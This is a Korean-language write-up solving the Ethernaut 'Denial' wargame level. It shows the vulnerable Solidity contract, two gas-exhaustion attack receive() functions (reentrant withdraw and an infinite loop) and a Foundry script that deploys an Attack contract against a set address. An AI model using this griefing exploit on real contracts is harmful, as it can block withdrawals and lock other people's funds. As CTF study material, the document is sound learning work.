1. 문제

Denial 컨트랙트에 돈을 그대로 남기고 가스를 1,000,000 이하로 만들어라.
owner의 withdraw()를 실패하게 만들어라
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Denial {
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = address(0xA9E);
    uint256 timeLastWithdrawn;
    mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint256 amountToSend = address(this).balance / 100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value: amountToSend}("");
        payable(owner).transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] += amountToSend;
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

2. 풀이 방법

가스를 감소시켜 owner의 withdraw() 함수를 방지하는 것이 이번 문제의 핵심이다.

아래 2가지 방법으로 문제를 해결할 수 있다.

2-1. withdraw()

receive() external payable {
    payable(address(target)).call{value: msg.value}("");
    target.withdraw();
}

이처럼 Denial contract에 있는 withdraw() 함수를 호출하면 Attack contract에 있는 receive() 가 호출 되어 가스비를 소모하고 withdraw() 함수를 무한히 호출하는 방법이 존재한다.

2-2. while(true) 사용

receive() external payable {
	  while (true) {}
}

혹은 이처럼 무한 while문을 사용하여서 가스비를 소모시키는 방법도 존재한다.

4. DenialScript

pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol";
import {Denial} from "../src/Denial.sol";

contract Attack {
    Denial public target;

    constructor(address payable _denial) {
        target = Denial(_denial);
        target.setWithdrawPartner(address(this));
    }

    receive() external payable {
        payable(address(target)).call{value: msg.value}("");
        target.withdraw();
    }
}

contract DenialScript is Script {
    address private constant DENIAL_ADDRESS = 0xc2F0CbB656cf8382ba0a19DE38fa6D47498B2174;

    function run() public {
        vm.startBroadcast();
        new Attack(payable(DENIAL_ADDRESS));
        vm.stopBroadcast();
    }
}